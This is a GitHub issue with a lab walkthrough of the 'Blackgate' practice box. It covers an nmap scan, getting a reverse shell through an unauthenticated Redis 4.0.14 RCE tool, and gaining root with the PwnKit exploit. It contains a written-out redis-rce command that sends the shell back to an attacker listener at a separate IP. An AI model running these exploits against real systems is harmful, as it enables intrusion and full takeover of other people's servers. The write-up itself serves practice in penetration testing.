search

WDavid404 / PG-Box

PG box workthough note
0 stars 0 forks source link

Blackgate (hard) #30

Open WDavid404 opened 1 month ago

WDavid404 commented 1 month ago

Keypoints:

WDavid404 commented 1 month ago 
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 61 OpenSSH 8.3p1 Ubuntu 1ubuntu0.1 (Ubuntu Linux; protocol 2.0)

6379/tcp open  redis   syn-ack ttl 61 Redis key-value store 4.0.14

Search exploit redis 4.0 ---> Redis 4.x / 5.x - Unauthenticated Code Execution (Metasploit) https://www.exploit-db.com/exploits/47195 ---> but it is for metasploit...

https://github.com/Ridter/redis-rce https://github.com/jas502n/Redis-RCE

python3 redis-rce.py -r 192.168.203.176 -L 192.168.45.182 -P 80 -f exp.so --> image image

There is no python , so we cannot upgrade reverse shell... sudo -l --> image but no hints..

Run linpeas: cronjob: image

stings redis-status file --》 Authorization Key: ClimbingParrotKickingDonkey321 image

run sudo /usr/local/bin/redis-status, then input the authorization key --> image --> but didn't find further way to exploit it...

Try linpeas suggestion: PwnKit image ---> https://github.com/ly4k/PwnKit it work.....

image